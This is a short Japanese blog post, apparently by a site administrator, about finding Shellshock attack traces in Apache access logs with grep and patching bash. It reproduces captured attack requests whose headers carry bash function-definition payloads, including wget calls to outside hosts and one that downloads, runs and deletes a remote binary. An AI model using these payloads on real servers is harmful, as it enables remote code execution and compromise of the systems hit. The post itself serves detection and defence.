httpdのアクセスログを対象に以下のコマンドを実行してみると、結構ボロボロ出てきて怖い。
管理するサイトに来ている bash の脆弱性「ShellShock」にあたる攻撃の跡です。
ひとまず yum update bash で対処。mod_security も入れるべきかな。
1 | grep '()' /var/log/httpd/access_log /var/log/httpd/ssl_access_log |
ログの一部。
※外部URLを指定されているログは、リンクを防ぐために「http」を抜いています。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | 209.126.230.72 - - [25/Sep/2014:12:49:42 +0900] "GET / HTTP/1.0" 200 78 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)”89.207.135.125 - - [25/Sep/2014:18:49:42 +0900] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 224 "-" "() { :;}; /bin/ping -c 1 198.101.206.138”54.251.83.67 - - [28/Sep/2014:01:57:22 +0900] "GET / HTTP/1.1" 200 78 "-" "() { :;}; /bin/bash -c \"echo testing9123123\"; /bin/uname -a"24.251.197.244 - - [25/Sep/2014:20:17:42 +0900] "GET / HTTP/1.1" 200 17487 "-" "() { :; }; echo -e \"Content-Type: text/plain\\n\"; echo qQQQQQq"166.78.61.142 - - [26/Sep/2014:00:54:52 +0900] "GET / HTTP/1.1" 200 17467 "-" "() { :;}; echo shellshock-scan > /dev/udp/pwn.nixon-security.se/4444”82.221.105.197 - - [29/Sep/2014:06:18:49 +0900] "GET / HTTP/1.1" 200 78 "-" "() { :;}; /bin/bash -c \"wget 82.221.105.197/bash-count.txt\""93.103.21.231 - - [26/Sep/2014:08:40:00 +0900] "GET / HTTP/1.1" 200 17306 "-" "() { :;}; wget 'taxiairportpop.com/s.php?s=example.com/'"62.210.75.170 - - [29/Sep/2014:18:23:46 +0900] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.1" 404 224 "() { :; }; wget creditstat.ru/ZmJzZWFyY2gubmV0U2hlbGxTaG9ja1NhbHQ= >> /dev/null" "() { :; }; wget creditstat.ru/ZmJzZWFyY2gubmV0U2hlbGxTaG9ja1NhbHQ= >> /dev/null”94.102.60.177 - - [26/Sep/2014:22:59:10 +0900] "GET /cgi-bin/test.cgi HTTP/1.1" 404 214 "-" "() { x;};echo;echo 123456ololo | md5sum"83.166.234.133 - - [27/Sep/2014:11:21:09 +0900] "GET / HTTP/1.0" 200 17553 "-" "() { :;}; /bin/bash -c \"wget -q -O /dev/null ad.dipad.biz/test/example.com/\”"70.42.149.72 - - [27/Sep/2014:11:58:11 +0900] "GET / HTTP/1.0" 200 78 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/ec.z 74.201.85.69/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*\”"54.251.83.67 - - [28/Sep/2014:01:57:22 +0900] "GET / HTTP/1.1" 200 78 "-" "() { :;}; /bin/bash -c \"echo testing9123123\"; /bin/uname -a”82.221.105.197 - - [29/Sep/2014:06:18:49 +0900] "GET / HTTP/1.1" 200 78 "-" "() { :;}; /bin/bash -c \"wget 82.221.105.197/bash-count.txt\""8.37.217.197 - - [29/Sep/2014:18:42:37 +0900] "GET /search HTTP/1.1" 404 - "-" "() { :;};echo content-type:text/plain;echo;echo QwaAqdKyMkdAiaZBos;echo;exit"8.37.217.199 - - [29/Sep/2014:18:42:37 +0900] "GET /search HTTP/1.1" 404 - "-" "() { :;};echo content-type:text/plain;echo;echo QwaAqdKyMkdAiaZBos;echo;exit" |
この辺りを参考にして対処。
